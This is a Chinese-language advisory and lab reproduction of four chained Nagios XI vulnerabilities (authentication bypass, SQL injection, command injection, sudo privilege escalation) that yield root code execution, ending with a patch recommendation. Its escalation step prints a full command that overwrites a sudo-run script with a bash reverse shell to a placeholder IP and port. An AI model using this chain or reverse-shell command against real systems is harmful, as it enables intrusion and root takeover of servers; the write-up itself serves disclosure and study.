一、背景介绍
Nagios是一个流行的电脑系统和网络监控程序,它检测主机和服务,当异常发生和解除时能提醒用户。nagiosxi是一个企业级服务器和网络监控软件。
1.1 漏洞描述
近日,nagiosxi系统被爆了四个CVE漏洞,并且如果将这四个漏洞连起来使用,就能以root权限执行远程代码。
1.2 受影响的系统版本
Nagios XI 5.2.6 < 5.2.9 / 5.3 / 5.4
1.3 漏洞编号
CVE-2018-8734
CVE-2018-8733
CVE-2018-8735
CVE-2018-8736
二、漏洞细节
1. CVE-2018-8733 – authentication bypass
/nagiosql/admin/settings.php文件第63行,只验证了POST参数是否为空和selLanguage值是否为空,此处并未对登录权限做验证,
程序会修改config/settings.php文件,写入提交的数据库用户名、密码
登录验证发生在配置修改之后,导致攻击者可以越权修改数据库的连接配置
2. CVE-2018-8734 – sql injection
/nagiosql/admin/helpedit.php文件第56行只验证了$chkContent与$chkModus的值
同时$_POST['selInfoKey1']的值未做任何过滤
就带入getDataArray()进行查询
从而导致sql注入漏洞
3. CVE-2018-8735 – command injection
/nagiosxi/backend/index.php 文件,首先接收POST参数,判断cmd的值,如果cmd=submitcommand进入backend_submit_command()函数
/backend/includes/handler-commands.inc.php文件,接收参数并提交请求
/includes/js/commands.js
一直跟到nagiosxi/cron/cmdsubsus.php的process_command()函数
$cmdline经过系统脚本路径与$command_data拼接后组成要执行的命令
最后调用system()函数执行$cmdline
command的值在/html/includes/constants.inc.php中有定义
4. CVE-2018-8736 – 本地特权提升
这里的提权用到了一些技巧。首先看下/etc/sudoers文件内容
文件中指定的脚本能以root权限执行(不熟悉sudoers文件的自行脑补一下),并且配置中指定了nagiosxi目录下的一些shell脚本(当前用户有修改权限),我们可以通过CVE-2018-8735命令执行漏洞修改图中脚本的内容,系统在使用sudo命令调用该脚本的时候,就相当于用root身份执行,从而导致权限提升。
三、漏洞利用、复现
在本地环境中对以上几个漏洞进行验证,测试环境为nagiosxi-5.4.10-x64, ip地址为192.168.113.146
1. sql注入
通过sellInfoKey1参数获取管理员的api_key
2. 越权修改配置文件
将数据库用户改为root,默认密码nagiosxi
3. 命令执行
利用$command_data参数在/tmp目录下创建一个文件
4. 将这些漏洞串起来使用
1) 获取nagios版本号
版本号可以从 /nagiosxi/login.php文件获取
2) 将数据库用户修改为root
使用CVE-2018-8733,可以将nagiosql数据库用户修改为root用户,授予其足够的权限来访问nagiosxi的所有数据
3) 获取api_key
使用CVE-2018-8734执行SQL注入,该注入将返回系统中所有唯一的API密钥
4) 使用API_KEY添加管理用户
5) 登录
登录后可以执行命令(命令执行需要登录认证)
6) 提升权限
使用CVE-2018-8735命令执行漏洞,执行以下操作,将一个shell写入reset_config_perms.sh文件中
1 2 3 4 |
cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo "bash -i >& /dev/tcp/IP/PORT 0>&1 &" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh |
反弹一个shell,其中IP、PORT为反连主机的IP、端口
然后使用无密码的sudo命令调用该脚本,从而拿到root权限
四、修复建议
官方已发布补丁,升级到最新版